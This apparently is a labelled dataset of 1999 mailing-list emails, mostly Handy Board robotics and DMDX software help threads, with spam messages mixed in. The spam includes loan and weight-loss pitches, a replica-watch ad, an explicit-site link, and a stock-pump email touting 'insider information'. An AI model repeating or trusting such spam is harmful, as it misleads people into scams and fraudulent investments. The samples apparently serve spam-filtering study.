Martin"" ",handyboard@media.mit.edu,"Fri, 15 Oct 1999 11:30:22 +0000",Re: Start_process problem,"alex, each of your processes must be an indefinite loop. otherwise starting them up via start_process just runs through once. so, e.g.: void checkir() { while (1) { if (digital(4)) { /* go backward for some time */ /* turn a little */ /* go forward again */ } } } fred In your message you said: > Hi > When I try to start a process , the code downloads fine , it runs on th e > board with no errors but it only excutes the first proceess once and none > of the others. > > void main() > { > start_process(fwrd()); > start_process(checkir()); > start_process(checkbumpers()); > } > > fwrd is just fd(1) fd(2) check IR is one checking digital(4) an turning > the bot 80 degrees amd check bumpers checks a bumper array and moves the bot > with the same function as checkir > > any suggestions? > > PS > I know the code works because ive used in : > > void main() > { > fwrd(); > checkir(); > checkbumpers(); > } > I would use the above code but it taxes the processor to much for me to run > anything else ie: low level vision , maze algotrithm > > thanx > -robotman > ",0,0 Yan Kong ,handyboard@media.mit.edu,"Fri, 15 Oct 1999 10:53:45 -0400",A java tool for real-time talking with people reading the same webpage.,"Hi, There is a java software called Wander at http://www.smiletiger.com By simply dragging and dropping a URL address or a Link to Wander window, you can see and talk to all the people who reading the same webpage right now. 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Any ideas appreciated James Pritchard ",0,0 William Ho ,"""Chul Hun,Han"" ","Sat, 16 Oct 1999 22:18:58 +0800",Re: Data acquisition through analog input,"Mr. Han, I think you can try to transmit the data through radio frequency transmitter to the receiver which is connected to the PC. I have tried this but it is digital data and not analog. Thanks, Wil. ----- Original Message ----- From: Chul Hun,Han To: handyboard@media.mit.edu Sent: Friday, October 15, 1999 11:59 AM Subject: Data acquisition through analog input Hi! Has anyone idea about the method of continuous data acquisition and store through analog input of Handy Board and dump them into PC for data analysis with MS-Excel? Thank you in advance C.H.Han ",0,0 Jean Vallery Bicycle Messenger ,"messengers@cycling.org, independent@cyclery.com","Sat, 16 Oct 1999 17:31:49 -0400",History of Messengers,"Can anyone tell me more of these couriers or messengers? Where is the oldest type of courier or messenger from and what were there names? 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With these supplies how would I be able to do >this? > >I appreciate and help in this matter. > >Peter Eacmen >Intelligent Software Systems >Boston Latin School >eacmen@att.net > >",0,0 C S Soh ,handyboard@media.mit.edu,"Mon, 18 Oct 1999 04:00:44 +0000",Re: UK Suppliers,"James Pritchard wrote: > Can anyone help me? I'm looking for a UK supplier for the Handyboard, > either as a kit or complete. > I would also like some advice about how I could integrate the Handyboard > into a A-Level physic department. I'm interesting in introducing robotics > or/and control, to 17 year old students as an extra curricular activity. > > Any ideas appreciated If you're prepared to mail order, you can get all the Handyboard stuff from the Robot Store, Hong Kong,www.robotstorehk.com I've found Patrick Hui to be most helpful and dependable. -- C S Soh http://web.singnet.com.sg/~cssoh ... where air is power ",0,1 Conboy ,handyboard@media.mit.edu,"Sun, 17 Oct 1999 22:07:47 -0700",need a text editor,"What text editors do you guys use to write your IC code? I am on a Windows98 machine and having a real hard time finding one that doesn't add all of the extra formatting. Or is there an option that I am missing that I can turn the formatting off? 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I highly recommend TextPad (www.textpad.com). I use it for writing all my C, Java and HTML code. It allows you complete control over formatting (auto-indent, tabs to spaces, etc.) and a multitude of useful tools, including parenthesis matching, regular expression search & replace, compiler & command output capture, and syntax coloring. You can download the evaluation version for free. It's one of the best works of software I've ever used. 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Victor,0,0 Danny Gratton ,handyboard@media.mit.edu,"Mon, 18 Oct 1999 17:01:52 +0000",communications,"Does anyone know where I could get some really good information concerning serial communication for the handyboard. I'm wondering if it's possible to have the handyboard communicate with a PC and vice versa. I'm looking for something wireless but any information will be helpful. ",0,0 Paul Dito ,handyboard@media.mit.edu,"Mon, 18 Oct 1999 17:07:48 +0000",Handyboard low voltage motor control,"Hi All, Most of you guys seem to want more power to control motors, well, I want to go the other way. I'm looking to drive 1.5v motors with the handyboard. The lowest voltage the L293 can take is 4.5v (Vmin of Vcc1), and that still has my motors screaming, even with the minimum PWM from the controller. Obviously I can take the outputs of the handyboard to my own H bridge, but I'm looking for an easier way out... Thanks, Paul ",0,0 Gary Livick ,Gregory Hayward ,"Mon, 18 Oct 1999 10:12:18 -0700",Re: Sharp GP2D02 with out expansion board,"Yep, I did. See http://www.acroname.com/robotics/info/examples/GP2D02-2/GP2D02-2.html. Gary Livick Gregory Hayward wrote: > Handyboard Community, > > Has anyone written code for the GP2D02 sensor without the expansion board. I have a group of High school kids that have KISS institute robot kits. This kit comes with a handyboard and LEGO's but no expansion board. Being on a limited budget we can't upgrade these systems this year. > > Any help on this would be appreciated. > > Greg ",0,1 Gary Livick ,Paul Dito ,"Mon, 18 Oct 1999 10:15:31 -0700",Re: Handyboard low voltage motor control,"How about a resistor in series? Gary Livick Paul Dito wrote: > Hi All, > > Most of you guys seem to want more power to control motors, well, I want to > go the other way. I'm looking to drive 1.5v motors with the handyboard. > The lowest voltage the L293 can take is 4.5v (Vmin of Vcc1), and that still > has my motors screaming, even with the minimum PWM from the controller. > Obviously I can take the outputs of the handyboard to my own H bridge, but > I'm looking for an easier way out... > > Thanks, > Paul ",0,0 Paul Dito ,handyboard@media.mit.edu,"Mon, 18 Oct 1999 19:02:11 +0000",Re: Handyboard low voltage motor control,"That'll work, of course, but that also means I'll be dissapating about 8 volts at .5A through the resistor... Gary Livick wrote in message <380B55B1.1C3703C4@pacbell.net>... > >How about a resistor in series? > >Gary Livick > > > >Paul Dito wrote: > >> Hi All, >> >> Most of you guys seem to want more power to control motors, well, I want to >> go the other way. I'm looking to drive 1.5v motors with the handyboard. >> The lowest voltage the L293 can take is 4.5v (Vmin of Vcc1), and that still >> has my motors screaming, even with the minimum PWM from the controller. >> Obviously I can take the outputs of the handyboard to my own H bridge, but >> I'm looking for an easier way out... >> >> Thanks, >> Paul >",0,0 Bobby N Rowley ,9fans@cse.psu.edu,"Mon, 18 Oct 1999 18:24:37 +0200",hi,"We WILL lend you the money you need We have special arrangements with dozens of top lenders. Some of them specialise in cases where the homeowner has no proof of income or negative equity. Some of them do not care about arrears and poor credit ratings Some of them offer stunning rates as low as 3.75%, and offer loans of over $2,000,000 Some of them offer relief loans of as little as $20,000 to give you room to breathe! You could pay for a car or go on holiday as well! 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If you want PWM, you can build your h-bridges from solid state dc-dc relays. They switch in about a half microsecond, so are plenty fast. Some even have flyback diodes built in, and only turn on when forward biased, which is great for use in h-bridges. However, these will drop some voltage, so you have to account for it when sizing your motor voltage supply. To control these, you also use the outputs directly off your Handy Board. I've used the latter method myself, and it works great. Gary Livick Paul Dito wrote: > That'll work, of course, but that also means I'll be dissapating about 8 > volts at .5A through the resistor... > > Gary Livick wrote in message <380B55B1.1C3703C4@pacbell.net>... > > > >How about a resistor in series? > > > >Gary Livick > > > > > > > >Paul Dito wrote: > > > >> Hi All, > >> > >> Most of you guys seem to want more power to control motors, well, I want > to > >> go the other way. I'm looking to drive 1.5v motors with the handyboard. > >> The lowest voltage the L293 can take is 4.5v (Vmin of Vcc1), and that > still > >> has my motors screaming, even with the minimum PWM from the controller. > >> Obviously I can take the outputs of the handyboard to my own H bridge, > but > >> I'm looking for an easier way out... > >> > >> Thanks, > >> Paul > >",0,0 Brenton Oakley ,DMDX@psy1.psych.arizona.edu,"Tue, 19 Oct 1999 07:20:42 +0300",MAINTAIN your weight loss," Summer is coming, did you look in the mirror lately? If you`re still overweight read on..... For years, the weight loss industry has led us to believe that in order to look great and stay in shape, you could never eat your favorite foods. Now, of course we're not saying that you can eat ice cream and hamburgers all day, but you can still occasionally splurge and maintain a healthy lifestyle, thanks to our new little secret... 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I assume this is some kind of keyboard driver problem? When we run the same file in the English partition, we do not get this error message and although in WordPad the RTF file displays the chinese characters, DMDX cannot and displays extended character set items etc., not chinese. I'm a bit confused by the fact we can display the characters in RTF but not in DMDX. Any ideas? Thanks. - Mike xoxxooxxxoooxxxxooooxxxxxoooooxxxxxxoooooxxxxxooooxxxxoooxxxooxxox Mike Ford MRC Cognition & Brain Sciences Unit [Ex Applied Psychology Unit] Tel: 01223 355294 ext 241 15 Chaucer Road Fax: 01223 359062 Cambridge CB2 2EF email: mike.ford@mrc-cbu.cam.ac.uk http://www.mrc-cbu.cam.ac.uk/personal/mike.ford xoxxooxxxoooxxxxooooxxxxxoooooxxxxxxoooooxxxxxooooxxxxoooxxxooxxox ",0,1 William Ho ,"""Mulampaka, Kalyan (GEIS, ASI)"" ","Tue, 19 Oct 1999 19:07:31 +0800",Re: Data acquisition through analog input,"I am sorry, it is www.glolab.com ----- Original Message ----- From: Mulampaka, Kalyan (GEIS, ASI) To: William Ho Sent: Monday, October 18, 1999 11:10 PM Subject: RE: Data acquisition through analog input > I am getting a 'Host not found' error when I go to this site > > > -----Original Message----- > From: William Ho [mailto:ukho@tm.net.my] > Sent: Monday, October 18, 1999 11:09 AM > To: Mulampaka, Kalyan (GEIS, ASI) > Cc: handyboard@media.mit.edu > Subject: Re: Data acquisition through analog input > > > Dear Mr. Kalyan, > Maybe you can try those RF module from www.Glalab.com Look for their guide > on connecting the holtek IC to their RF module. I believe that will help > you a lot. > > Regards, > William >",0,0 """j.c.f."" ",DMDX@psy1.psych.arizona.edu,"Tue, 19 Oct 1999 09:09:17 -0700",[DMDX] Re: DMDX and Chinese,"At 11:53 AM 10/19/99 +0100, you wrote: >Time for a new non-Latin alphabet language and the concomitant problems. >In Chinese Windows 98, in TimeDX\\Input, when we run the test of the >keyboard, this works fine and even displays chinese for the last three >items ('power', 'sleep', 'wake'). However when we try to run an RTF file >in DMDX, we get an error message about not being able to find the input >device 'keyboard'. I assume this is some kind of keyboard driver problem? Look at the device name in TimeDX, I'll bet it's not ""Keyboard"". You need ""id chineseforkeyboard"". Same thing goes for other language versions of win32. >When we run the same file in the English partition, we do not get this >error message and although in WordPad the RTF file displays the chinese >characters, DMDX cannot and displays extended character set items etc., not >chinese. I'm a bit confused by the fact we can display the characters in >RTF but not in DMDX. Hmmm, sounds like some new and wonderful RTF thing that I don't know about. Send me (not the list) the file as an attachment along with the font it uses and I'll see what I can do. Include a description of what the display should look like. -jonathan (j.c.f.) /""\\ \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ A beautiful woman is the hell of the soul, the purgatory of the purse, and the paradise of the eyes. - Fontanel ",0,0 """Gliders J. Victorian"" ",Bait ,"Tue, 19 Oct 1999 02:34:23 -0400","replica //atches! patek philippe, vacheron constantin and others!","REPLICA //ATCHES BAZAAR! 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",1,1 Jose Luis ,Max Davies ,"Sun, 17 Oct 1999 18:48:41 -0300",IR problem,"Hi, I have tried Max Davies irint.icb, ir.c and test.c files, and I'm having problems, after the file test.c are running, I press STOP, and before I can use the remote, the HB make the beep, and print the data as if data were received, any time I press STOP, the same thing happen, just a second after, the data is displayed, sometime its says 21 bits, 42 bits, RC-5 not support, etc, there is no sun light, the remote is no pressed, and the battery is good, so I'm thinking if there is a problem with my HB. Please, any help will appreciated. Thank You. José Luis ",0,0 """spidersoft (Sam Portillo)"" ",handyboard@media.mit.edu,"Tue, 19 Oct 1999 14:10:14 -0700",serial input?,"Is the handyboard capable of serial input (other than for downloading)? How can I do this? Thanks, Keith@spidersoft.org ",0,0 Michael Johnston ,DMDX@psy1.psych.arizona.edu,"Wed, 20 Oct 1999 10:35:26 +1000",[DMDX] Continuing VOX woes,"I'm still fiddling around trying to get the VOX recording system to work. I have installed DirectX 7, and DMDX 1.1.12. When I press the VOX button on the DMDX main console, with no tasks running in the background, I get the following message: DirectSoundCaptureCreate failed DSERR_ALLOCATED (8878000a) The call failed because resources (such as a priority level) were already being used by another caller. Can anybody interpret this for me? Even better, has anyone had this problem themselves, and does anyone know how to fix it? Michael Johnston ------------------------------- Dr Michael Johnston School of Psychological Science La Trobe University Bundoora VIC 3083 Australia Phone: +61 3 9479 1736 Fax: +61 3 9479 1956 Web Address: http://www.psy.latrobe.edu.au/Staff/johnstnm.htm ",0,1 Bob Avanzato ,handyboard@media.mit.edu,"Tue, 19 Oct 1999 18:35:07 -0400","PSU robot contest Sat Dec 4, 1999","Hi All, Penn State Abington will host the second annual Robo-TrailBlazers autonomous robot contest on Sat Dec 4, 1999 at 3pm. The contest is open to all students (and even a few non-student types) as participants. (The contest is HandyBoard and LegoMindstorms friendly.) The contest is open to the public as spectators. It's free! Penn State Abington is located near Philadelphia, PA USA Robots can interact with an electric train, cross railroad tracks, pick up cans, etc. Robot teams are encouraged. Of course you have enough time to build a robot! Check it out: http://www.ecsel.psu.edu/~avanzato/robots/contests (follow link for TrailBlazers) -Bob Robert Avanzato Associate Prof. of Engineering Penn State Abington 215-881-7358 (voice) 1600 Woodland Road 215-881-7623 (fax) Abington, PA 19001 email: rla5@psu.edu homepage: http://www.personal.psu.edu/rla5/ ",0,1 Peter ,Handy Board Mailing List ,"Tue, 19 Oct 1999 19:27:00 -0400",Please I need help!,"Hi!, I just asked this question but did not get any help. I need help interfacing two Polaroid 6500's to one HB w/ Expansion Board. This is a project for school and needs to be finished soon that's why I need help. I would really appreciate any help people could give me on this subject. Thanks, -p -- Peter Eacmen Intelligent Software Systems Boston Latin School eacmen@att.net ""A healthy mind is an oxymoron!"" ",0,0 Gary Livick ,Peter ,"Tue, 19 Oct 1999 16:50:05 -0700",Re: Please I need help!,"Pete, It seems to me that a simple double pole double throw relay could be used to select one or the other module. That way you wouldn't need to tie up any other IC/OC pins. You fire one unit, get the return, then switch the relay and fire the other one. Gary Livick Peter wrote: > Hi!, > > I just asked this question but did not get any help. I need help > interfacing two Polaroid 6500's to one HB w/ Expansion Board. This is a > project for school and needs to be finished soon that's why I need > help. I would really appreciate any help people could give me on this > subject. > > Thanks, > -p > > -- > Peter Eacmen > Intelligent Software Systems > Boston Latin School > eacmen@att.net > ""A healthy mind is an oxymoron!"" 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How do I fix this error? I have consulted previous postings on this topic, but no one ever seems to explain how to fix the compile error. Am I missing something obvious? Thanks. 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Thanks, Jeff ______________________________________________________________________________ Oregon's Willamette Valley Scanner Page: http://www.efn.org/~newton Metro Valley Spot News Page: http://www.efn.org/~newton/metro.html NOAA National Weather Service SEVERE WX SKYWARN SPOTTER: Lane - 31 Email: newton@efn.org ______________________________________________________________________________ ",0,1 C S Soh ,handyboard@media.mit.edu,"Wed, 20 Oct 1999 08:43:20 +0000","Re: PSU robot contest Sat Dec 4, 1999","Bob Avanzato wrote: > Penn State Abington will host the second annual Robo-TrailBlazers > autonomous robot contest on Sat Dec 4, 1999 at 3pm. > > Penn State Abington is located near Philadelphia, PA USA > > Robots can interact with an electric train, cross railroad tracks, pick up > cans, etc. Robot teams are encouraged. > > Of course you have enough time to build a robot! > > Check it out: > > http://www.ecsel.psu.edu/~avanzato/robots/contests (follow link for > TrailBlazers) I was pleasantly surprised to read under the Obstacles section, the following ruling ""Robots may not hop, jump, skip, or fly over obstacles or any portion of the arena."" One quickly realises that drafting rules for our bots to follow isn't that easy. Even the definition of a robot is, as you say, *fuzzy*. Whatever, have fun! -- C S Soh http://web.singnet.com.sg/~cssoh ... where air is power ",0,1 Russell Farnhill ,"""'handyboard@media.mit.edu'"" ","Wed, 20 Oct 1999 11:08:03 +0100",port addresses,"Hi all, I was wondering if anyone has some kind of table or list to show the address of all the ports and what each bit is for on each port. Iam asking this because I was looking through some modified sonar code as below and wondered how people know what address to write to and what value to send to that address to enable and set-up the hardware. In the code below there are lots of pokes and bit_set's to various addresses. Where do I find out more about these addresses and what values to send to them. Thanks Russ... void sonar_init() { bit_set(0x1009, 0x30); /* ddrd */ bit_set(0x1021, 5); /* at tctl2, */ bit_clear(0x1021, 0x0a); /* set tic3, tic2 for rising edge */ } int sonar_sample() { int start_time; int first, sec; poke(0x1023, 1); /* clear tic3 flag */ poke(0x1023, 2); /* clear tic2 flag */ start_time= peekword(0x100e); /* capture start time */ bit_set(0x1008, 0x20); /* trigger pulse */ while ((peek(0x1023) & 0x3) != 3) /* wait until receive echo */ { if ((peekword(0x100e) - start_time) < 0) { /* if too much time has elapsed, abort */ bit_clear(0x1008, 0x20); return -1; } defer(); /* let others run while waiting */ } bit_clear(0x1008, 0x20); /* clear pulse trigger */ first = peekword(0x1014) - start_time; /* tic3 has time of echo */ sec = peekword(0x1012) - start_time; printf(""1:%d 2:%d\\n"", first, sec); return 1; }",0,0 """j.c.f."" ",DMDX@psy1.psych.arizona.edu,"Wed, 20 Oct 1999 08:38:11 -0700",[DMDX] Re: Continuing VOX woes,"At 10:35 AM 10/20/99 +1000, you wrote: >I'm still fiddling around trying to get the VOX recording system to work. I >have installed DirectX 7, and DMDX 1.1.12. When I press the VOX button on >the DMDX main console, with no tasks running in the background, I get the >following message: > >DirectSoundCaptureCreate failed >DSERR_ALLOCATED (8878000a) >The call failed because resources (such as a priority level) were already >being used by another caller. > >Can anybody interpret this for me? Even better, has anyone had this problem >themselves, and does anyone know how to fix it? How old is the sound card you are trying to use this with? Most older cards do not have sufficient resources to allow simultaneous playback and recording. Perhaps you do not have sufficient resources allocated to the sound card (like two DMA channels). -jonathan (j.c.f.) /""\\ \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ Many a small thing has been made large by the right kind of advertising. - Mark Twain (1835-1910) A Connecticut Yankee at King Arthur's Court, 1889 ",0,0 James Munro ,Russell Farnhill ,"Wed, 20 Oct 1999 08:57:55 -0500",Re: port addresses,"> I was wondering if anyone has some kind of table or list to show > the address of all the ports and what each bit is for on each port. > Iam asking this because I was looking through some modified sonar code > as below and wondered how people know what address to write to and > what value to send to that address to enable and set-up the hardware. > > In the code below there are lots of pokes and bit_set's to various > addresses. Where do I find out more about these addresses and what values > to send to them. > If you haven't already done so, pick up a copy of the motorola chip guides (not sure which version of chip is used in the Handyboard 'A9 version? or E2? Either way, these ""Pink books"" are absolutely essential to learning the addressing of the 68HC11. Try motorola's website for more info. I don't have the URL handy, sorry. I'm sure there is probably a Handyboard users manual somewhere too that will give you more details on what controls what. Check out the Handyboard site for more details. Good luck, Jim Munro",0,0 SNESS@amcomp.com,"jimmn@xnet.com, r.farnhill@stor-wave.co.uk","Wed, 20 Oct 1999 10:27:22 -0400",RE: port addresses,"Handyboarders: I had trouble finding these folks, this info might be helpful in locating your manuals. Literature Distribution Center for Motorola Phone: (800) 201-0399 FAX: (303) 675-2140 Email: LDCforMotorola@hibbertco.com Suzanne Ness -----Original Message----- From: James Munro [mailto:jimmn@xnet.com] Sent: Wednesday, October 20, 1999 9:58 AM To: Russell Farnhill Cc: 'handyboard@media.mit.edu' Subject: Re: port addresses > I was wondering if anyone has some kind of table or list to show > the address of all the ports and what each bit is for on each port. > Iam asking this because I was looking through some modified sonar code > as below and wondered how people know what address to write to and > what value to send to that address to enable and set-up the hardware. > > In the code below there are lots of pokes and bit_set's to various > addresses. Where do I find out more about these addresses and what values > to send to them. > If you haven't already done so, pick up a copy of the motorola chip guides (not sure which version of chip is used in the Handyboard 'A9 version? or E2? Either way, these ""Pink books"" are absolutely essential to learning the addressing of the 68HC11. Try motorola's website for more info. I don't have the URL handy, sorry. I'm sure there is probably a Handyboard users manual somewhere too that will give you more details on what controls what. Check out the Handyboard site for more details. Good luck, Jim Munro",0,0 William Ho ,handyboard@media.mit.edu,"Wed, 20 Oct 1999 22:42:15 +0800",Re: Vector 2x,"I know everyboard has been sucessfully connected vector 2x to hb. I try to do the same thing as per Tom Brusehaver guides. Connecting as below :- +5V (SPI) to VCC (vector2x) GND(SPI) to GND (vector2x) MISO(SPI) to SDI (vector2x) MOSI(SPI) to SDO(vector2x) SS(SPI) to collecor of transistor SCK (SPI) to SCLK (vector2x) pin #2 of U11(HB) to P/C (vector2x) GND (SPI) to M/S (vector2x) GND (SPI) to X flip (vector2x) I believe the transistor is not a big issue and I use K31 A1226 (the only spare I have) with the collector connected to 330 ohm R. and then to +5V of SPI. Loaded the compass.icb and compass.c and end out receiving 0 reading. Has been checking the connection many times and believe to be same as above. Please,any help will appreciated. Thanks. William. ",0,0 William Ho ,handyboard@media.mit.edu,"Wed, 20 Oct 1999 22:52:26 +0800",GLOBAL POSITIONING SYSTEM,"I learned that somebody has successfully connected GARMIN GPS to HB. If I am not wrong , this GPS is not be able to receive any signal in building. If this the case, GPS is only good for outdoor robotics. Another thing is about the accuracy of the GPS, it is about 1 to 15 feet which I think is not good for detail mapping. Please comment. Regards, William ",0,0 """Mulampaka, Kalyan (GEIS, ASI)"" ","SNESS@amcomp.com, jimmn@xnet.com, r.farnhill@stor-wave.co.uk","Wed, 20 Oct 1999 10:43:49 -0400",RE: port addresses,"This is the online ordering form for motorola literature (if you are looking for motorola manuals) http://www.mot-sps.com/home/lit_ord.html -----Original Message----- From: SNESS@amcomp.com [mailto:SNESS@amcomp.com] Sent: Wednesday, October 20, 1999 10:27 AM To: jimmn@xnet.com; r.farnhill@stor-wave.co.uk Cc: handyboard@media.mit.edu Subject: RE: port addresses Handyboarders: I had trouble finding these folks, this info might be helpful in locating your manuals. Literature Distribution Center for Motorola Phone: (800) 201-0399 FAX: (303) 675-2140 Email: LDCforMotorola@hibbertco.com Suzanne Ness -----Original Message----- From: James Munro [mailto:jimmn@xnet.com] Sent: Wednesday, October 20, 1999 9:58 AM To: Russell Farnhill Cc: 'handyboard@media.mit.edu' Subject: Re: port addresses > I was wondering if anyone has some kind of table or list to show > the address of all the ports and what each bit is for on each port. > Iam asking this because I was looking through some modified sonar code > as below and wondered how people know what address to write to and > what value to send to that address to enable and set-up the hardware. > > In the code below there are lots of pokes and bit_set's to various > addresses. Where do I find out more about these addresses and what values > to send to them. > If you haven't already done so, pick up a copy of the motorola chip guides (not sure which version of chip is used in the Handyboard 'A9 version? or E2? Either way, these ""Pink books"" are absolutely essential to learning the addressing of the 68HC11. Try motorola's website for more info. I don't have the URL handy, sorry. I'm sure there is probably a Handyboard users manual somewhere too that will give you more details on what controls what. Check out the Handyboard site for more details. Good luck, Jim Munro",0,1 """Tejas Saraiya <""",officers@hkn.EECS.Berkeley.EDU,"Wed, 20 Oct 1999 12:59:14 -0700",REMINDER: Officers Meeting Tonight,"HKN Officers Meeting Tonight (10/20), 6:00p Near 290 Cory Agenda * EE 20N tutors needed - Paid: ~$11/hr., contact Prof. Varaiya * 2 course surveys? -- Department wants information on hours per week spent on classes * Potluck details - everyone should go. Oct 24th, 5:00pm Meet @HMC There is a fridge, Kitchen, Oven, etc. * GM details -- who's speaking? - Oracle. Danny will try to get $500 Sponsorship * Facutlty Mixer - 11-2 Friday, Subway Sandwiches. Need Candidates to help. Go if you can * Peer Advising -- AP Physics C Mechanics, now counts for 7A * Other -- turn in old UD exams, resumes, we need community service!!! * Free Broomball Thursday 11-12 pm, meet at 10:15 at RSF See you there, Tejas    Eta Kappa Nu, Mu Chapter 290 Cory: (510) 642-7346 www@hkn.eecs.berkeley.edu",0,0 Will Bain ,Handyboard Mailing List ,"Wed, 20 Oct 1999 09:50:39 -0600",Re: Please I need help!,"Peter wrote: > I just asked this question but did not get any help. I need help > interfacing two Polaroid 6500's to one HB w/ Expansion Board. This is a > project for school and needs to be finished soon that's why I need > help. I would really appreciate any help people could give me on this > subject. I saw a contributed design a while back (on the HB web site, I think) of a multiplexer for running multiple Polaroid transducers off of one Polaroid ranging module. It involved the use of a few transistors and such. The idea was to use extra digital outputs to alternate between the two transducers. Other than that, the hookup between the HB and the ranging module was the same as shown on the HB web site for a single unit. It looked like the best solution, and I intend to build it just as soon as I can. Best of luck! -- Will , , __@_/ \\_@__ |/ | /__, o @_/ )\\ ) ( \\ (\\/\\\\, ~~~~~~~~~ ' ` ~~~~~~~~~~~ ` ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Wendy Parson, There's no underestimating Will Bain, the intelligence of the American public. & Tatoosh --H. L. Mencken ",0,0 owen popplestone ,handyboard@media.mit.edu,"Wed, 20 Oct 1999 10:05:55 -0700",for loop stack overflow,"THis may be a dumb question on my part, but we are getting stack overflows on for loops such as for(int i = 0;i<1000;i++){...} when using values over 100 or so. Is this an 8bit counter thing or something else? Thanks, Owen Popplestone",0,0 Paul Dito ,handyboard@media.mit.edu,"Wed, 20 Oct 1999 19:17:48 +0000",Re: Handyboard low voltage motor control,"Well, I went with separate h-bridge to maintain PWM and it turns out that even though the motors are geared down, they still don't have enough torque to haul around all the batteries. Looks like I'll stick with 9v motors... Thanks for the suggestions, Paul Gary Livick wrote in message <380B772F.FADA385C@pacbell.net>... >Good point... > >There is another way. You can build your own h-bridges using mechanical >relays and maybe a few diodes. They drop zero volts, which is good. However, >you obviously can't PWM the things. If you just want rudimentary speed >control, you could add another SPDT relay in line to add a dropping resistor >in series..... You can use the motor outputs right off the Handy Board to >switch your bridges. > >If you want PWM, you can build your h-bridges from solid state dc-dc relays. >They switch in about a half microsecond, so are plenty fast. Some even have >flyback diodes built in, and only turn on when forward biased, which is great >for use in h-bridges. However, these will drop some voltage, so you have to >account for it when sizing your motor voltage supply. To control these, you >also use the outputs directly off your Handy Board. I've used the latter >method myself, and it works great. > >Gary Livick > > >",0,0 Deandre ,handyboard@media.mit.edu,"Wed, 20 Oct 1999 12:15:49 -0500",Picks to diss01ute friging," Commence sizzling shots spectacle http://reality-sexxx-pass.info > > > without enwiderstand for whining upstile aupenfahrzeu > > > anzeiger neither...nor erdacht near ueur dwrite 420701 ",1,1 hachemi mechlih ,handyboard@media.mit.edu,"Wed, 20 Oct 1999 19:43:03 -0700",Encoder IO board,"Hi everybody I have an application where I need to read 4 encoders, I am looking for an accurate encoder reading IO board which can be connected to an IBM PC. I am also looking for the rotary encoders for that. Please if you can help me find the IO board and the encoders which are compatible to board I will very appreciate it. Mechlih PS: please reply to my email, I am not in the handyboard list. ===== __________________________________________________ Do You Yahoo!? Bid and sell for free at http://auctions.yahoo.com ",0,1 Nick Taylor ,handyboard@media.mit.edu,"Wed, 20 Oct 1999 19:46:31 -0700",Re: for loop stack overflow,"Owen, IC integers are signed 16-bit values ... - Nick - owen popplestone wrote: > > THis may be a dumb question on my part, but we are getting stack overflows > on for loops such as > > for(int i = 0;i<1000;i++){...} > when using values over 100 or so. Is this an 8bit counter thing or > something else? > > > Thanks, > Owen Popplestone",0,0 """Fred G. Martin"" ",handyboard@media.mit.edu,"Thu, 21 Oct 1999 03:10:37 +0000",Re: for loop stack overflow,"owen, what's inside the loop. i don't see any probl with the for loop itself. fred In your message you said: > Owen, > IC integers are signed 16-bit values ... > - Nick - > > owen popplestone wrote: > > > > THis may be a dumb question on my part, but we are getting stack overflows > > on for loops such as > > > > for(int i = 0;i<1000;i++){...} > > when using values over 100 or so. Is this an 8bit counter thing or > > something else? > > > > > > Thanks, > > Owen Popplestone >",0,0 Albert Ho ,handyboard@media.mit.edu,"Thu, 21 Oct 1999 18:14:50 +0800",sony ir function ,"I would like to know why the sony ir_data() only display 8 bit number instead of the 12 or 13 bit IR message? Does the number represent data only instead of the address or device? Does anybody knows how I could make the handyboard display the complete message? Thank You Very Much! Albert Ho ",0,0 richard.spooner@vickersmarine.com,handyboard@media.mit.edu,"Thu, 21 Oct 1999 13:31:21 +0100",Expansion board - SPI," Hi ... If I fit an expansion board will I lose access to the SPI port ? ... Richard Spooner ",0,0 William Ho ,handyboard@media.mit.edu,"Thu, 21 Oct 1999 22:05:20 +0800",Re: Vector 2X problem,"Hi, finally my Vector2X works! Just because of the wrong selection of transistor. Guide comes from Tom Brusehaver (1997). Thanks! Any way, the result seems not consistense as the heading 'hang' when I turn off the HB and on again later. Instead of giving reading 0 to 360 deg, it gives neg. value or sometimes in thousands! Regards, William ",0,0 Matthew ,DMDX@psy1.psych.arizona.edu,"Thu, 21 Oct 1999 12:10:08 -0700",[DMDX],"I'm trying to get DMDX set up on a new computer in our lab and can't get it to go. When I try to run a file, I get an error message saying ""create surface failed: DDERR>TOOBIGSIZE (887601e0) size requested by Direct Draw is too large - individual height and width are OK."" my video mode is set at <1024 768 768 0 > in both the rtf file as well as in all of the tests in TimeDX. Any suggestions?",0,0 Kate ,handyboard@media.mit.edu,"Thu, 21 Oct 1999 06:16:41 +0800",Save nerves and funds with reliable stokc recommendations Recent stuff,"Financial analysis and stokc recommendation on stokcs taking off DENIM APPAREL GROUP (Other OTC:DPGP.PK) Dont forget to add this stokc to your portfolio this day. It should boom next days! Market status measurements and booming tendencies Insider information that brings about tremendous profits Football is a game of two halves When fortune smiles, embrace her A crowd is not company. One kiss nah done lips. If yuh finger get sore, nah tek am and throw way.Haste makes waste Fate leads the willing but drives the stubborn In the coldest flint there is hot fire Never judge a book by its cover. Unkissed, unkindA hedge between keeps friendship green. There is a skeleton in every cupboard God gives every bird its food, but does not always drop it into the nest Laugh and the world laughs with you, cry and you cry alone A soft answer turneth away wrath.Dishonest money dwindles away, but he who gathers money little by little makes it grow Be a good sport - wherever you go If you want a place in the sun, you must leave the shade of the family tree When man mek heself sugar he mattie ah suck am. Yuh can't suck cane and blow whistle.If you're too open-minded, your brains will fall out. . If Wishes Were Horses, Beggars Would Ride Opportunity seldom knocks twice. When in Rome, do as the Romans do Every man has his priceAll sunshine makes a desert Cold hands, warm heart My son, hear the instruction of thy father, and forsake not the law of thy mother.",1,0 """Curt Mills, WE7U"" ",William Ho ,"Thu, 21 Oct 1999 09:13:31 -0700",Re: GLOBAL POSITIONING SYSTEM,"On Wed, 20 Oct 1999, William Ho wrote: > I learned that somebody has successfully connected GARMIN GPS to HB. > If I am not wrong , this GPS is not be able to receive any signal in > building. If this the case, GPS is only good for outdoor robotics. > Another thing is about the accuracy of the GPS, it is about 1 to 15 > feet which I think is not good for detail mapping. Yes, I have done it, perhaps others. I use mine nearly every day connected to a GPS, but it has nothing to do with robotics. You're a bit off on your accuracy though, the spec actually says you'll be within 100 meters 95% of the time. I think it says you'll be within 300 meters the other 5%, but it's been a while since I read the spec. You'll typically get within 60 meters or so in reality. If you connect a DGPS receiver to your GPS and are within range of a transmitting station you can cut it down to 1-10 meters accuracy. Whatever you do, never believe the EPE figure on a Garmin. It's worthless. If you want a good accuracy figure, 